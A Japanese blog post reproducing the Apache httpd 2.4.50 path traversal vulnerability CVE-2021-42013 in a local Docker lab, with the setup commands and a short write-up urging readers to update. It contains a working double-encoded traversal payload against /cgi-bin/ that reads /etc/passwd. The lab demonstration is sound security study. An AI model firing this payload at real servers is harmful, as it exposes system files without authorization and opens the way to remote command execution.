Dockerを使ってCVE-2021-42013を検証する

セキュリティ

さて、つい二日前に以下の投稿を行いましたが、修正が不十分だったようです。

Dockerを使ってCVE-2021-41773を検証する

わずか3日、「Apache HTTPD」が再修正 – 前回修正は不十分、RCEのおそれも

同じく前回使用したDockerの環境を使いまわして検証を行いますので、興味がある方は見ていってください。

なお、この記事については悪用を促すわけではないので、ご理解ください。

検証の準備

前回作成したDockerが動作する環境があるので、これを使用してサクッと構築します。

Dockerの環境構築から確認したい方は前回の記事を確認してください。

まずはDockerfileを書き換えます。

以下のようにしました。

 

FROM httpd:2.4.50
COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf

httpdのバージョンを一つ上げただけです。

あとはビルドしてランさせるだけです。

めっちゃ簡単です!

root@ubuntu:/home/tokoroten# docker build -t apache-vuln .
//ビルドの箇所
Sending build context to Docker daemon  9.163MB
Step 1/2 : FROM httpd:2.4.50
2.4.50: Pulling from library/httpd
07aded7c29c6: Already exists
05bb40c8f148: Already exists
0827b74117da: Already exists
6fdb4ffeaccd: Pull complete
91182adb0e79: Pull complete
Digest: sha256:b73a8591d3f1f170568b501ce645dc900f8f1c4c697fbc2420cae3502ab5e02c
Status: Downloaded newer image for httpd:2.4.50
 ---> bc9d3c5a7455
Step 2/2 : COPY ./httpd.conf /usr/local/apache2/conf/httpd.conf
 ---> 174cf4b45c3c
Successfully built 174cf4b45c3c
Successfully tagged apache-vuln:latest
root@ubuntu:/home/tokoroten# docker run -dit --name cve-2021-41773 -p 12345:80 apache-vuln
//ランの箇所
2f18aa5700a87bc6d7517e36873efdd75dd5d55e2b1e15e42a3dfa1adc825368

前回と同じようにポート12345に立てました!

アクセスすると、Apacheのバージョンが「2.4.50」になってることが確認できますね。

CVE-2021-42013の検証

PoCについては、Twitterでサクッとありましたので、それを使います。

以下のようなコードで実行可能とのことです。

/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd

前回と同じように「okukenさん」が作成したburpの「ISTE」を使ってやってみましょう!

この通り、簡単にできました!

最後に

修正が不十分だった「CVE-2021-42013」について検証を行いました。

こちらはcigモジュールが有効であった場合はコマンド実行が可能な問題です。
※前回の「CVE-2021-41773」もです。

もし、httpdの「2.4.49」または「2.4.50」を使用している場合は至急アップデートしましょう。

しかし、Docker便利ですな。数秒で環境の入れ替えできるし。

実は違う記事を書きたかったんですが、それについては近くに書かせていただきます。

不明点や要望やこういったこともやって欲しいとの要望があれば、お問い合わせページやコメント、ツイッターからでも結構ですので、気軽にご連絡ください。

コメント